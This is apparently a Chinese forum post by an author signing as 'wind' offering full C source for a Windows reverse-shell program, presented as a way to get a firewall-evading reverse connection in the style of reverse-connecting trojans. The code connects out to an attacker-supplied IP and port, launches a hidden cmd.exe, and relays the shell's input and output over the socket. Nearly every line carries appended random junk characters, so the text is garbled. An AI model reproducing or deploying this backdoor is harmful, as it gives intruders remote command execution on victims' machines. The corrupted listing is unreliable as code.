这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 .F/l$4CQ
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/* ============================== (-o}'l'mo
Rebound port in Windows NT 1mv5B t
By wind,2006/7 v&])D/a
===============================*/ '\pSUp
#include 5:~ zlg
#include n>o=RQ2
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#pragma comment(lib,"wsock32.lib") 80U(q/H%9
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void OutputShell(); Ngrj@_J
SOCKET sClient; S>[&]
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; W
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void main(int argc,char **argv) U
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{ U,<?]h
WSADATA stWsaData; q)"yP\
int nRet; M VE:JNm
SOCKADDR_IN stSaiClient,stSaiServer; #E/|WT
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if(argc != 3) =4/K#cQ
{ %u?A>$Jn
printf("Useage:\n\rRebound DestIP DestPort\n"); P?=}}DI
return; |l~#qeZ%
} pSx}:u^am
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WSAStartup(MAKEWORD(2,2),&stWsaData); Fp+fZU
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); !'bZ|j%
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stSaiClient.sin_family = AF_INET; 9*a"^
stSaiClient.sin_port = htons(0); oC TSV
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); LD;!
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) gp\o|igT
{ %pxHGO=)E
printf("Bind Socket Failed!\n"); %8KbVjn
return; aqP"Y9l
} s8*Q@0
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stSaiServer.sin_family = AF_INET; 7$kTeKiP
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); +W|VCz
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 7MX5hZF"
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) _nIt4l7
{ kc[<5^b5
printf("Connect Error!"); q$B|a5a?
return; pQCW6X
} Uot LJa
OutputShell(); T\TKgO=)
} aslb^
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void OutputShell() a^)@}4
{ ZGS4P 0$
char szBuff[1024]; c*V/2"
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SECURITY_ATTRIBUTES stSecurityAttributes; Q/l388'
OSVERSIONINFO stOsversionInfo; 0fw>/"v
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Zx|VOl,;
STARTUPINFO stStartupInfo; GS,}]c=
char *szShell; Ye\&_w"
PROCESS_INFORMATION stProcessInformation; [58qC:
unsigned long lBytesRead; :W[d&e
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); XAUHF-"WE
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 5Noy~;
stSecurityAttributes.lpSecurityDescriptor = 0; 'DB'lP
stSecurityAttributes.bInheritHandle = TRUE; ~#:R1~rh\e
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); }ho6
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ]L!:/k,=S
vn.j>;E'
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 6P`!yBAu
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; CuYSvW
stStartupInfo.wShowWindow = SW_HIDE; 9t{Iv({6p
stStartupInfo.hStdInput = hReadPipe; ghaO#kI
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 6M6r&,yRu
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GetVersionEx(&stOsversionInfo); )VkH':yCM
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switch(stOsversionInfo.dwPlatformId) o+T, O+i
{ g-2(W
case 1: l\&Tw[O
szShell = "command.com"; :w26d-QR(
break; 4u]>$?X1_
default: .10$n*
szShell = "cmd.exe"; 6hf6Z3
break; TE@bV9a
} ds'7zxy/
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); IUwMIHq&sW
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send(sClient,szMsg,77,0); `>\>'V<&
while(1) +#7)'c
{ T']G:jkb
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); I:o.%5)
if(lBytesRead) pa6-3c
{ F)uS2
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ]|K@0,
send(sClient,szBuff,lBytesRead,0); -<@QR8:
} k`r`ZA(kQ-
else Y2P%0
{ l#!6
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lBytesRead=recv(sClient,szBuff,1024,0); <iznB8@
if(lBytesRead<=0) break; oz?pE[[tm
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); u|M_O5^
} oGqbk x
} YjwC8#$
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return; wT^Q O^.
}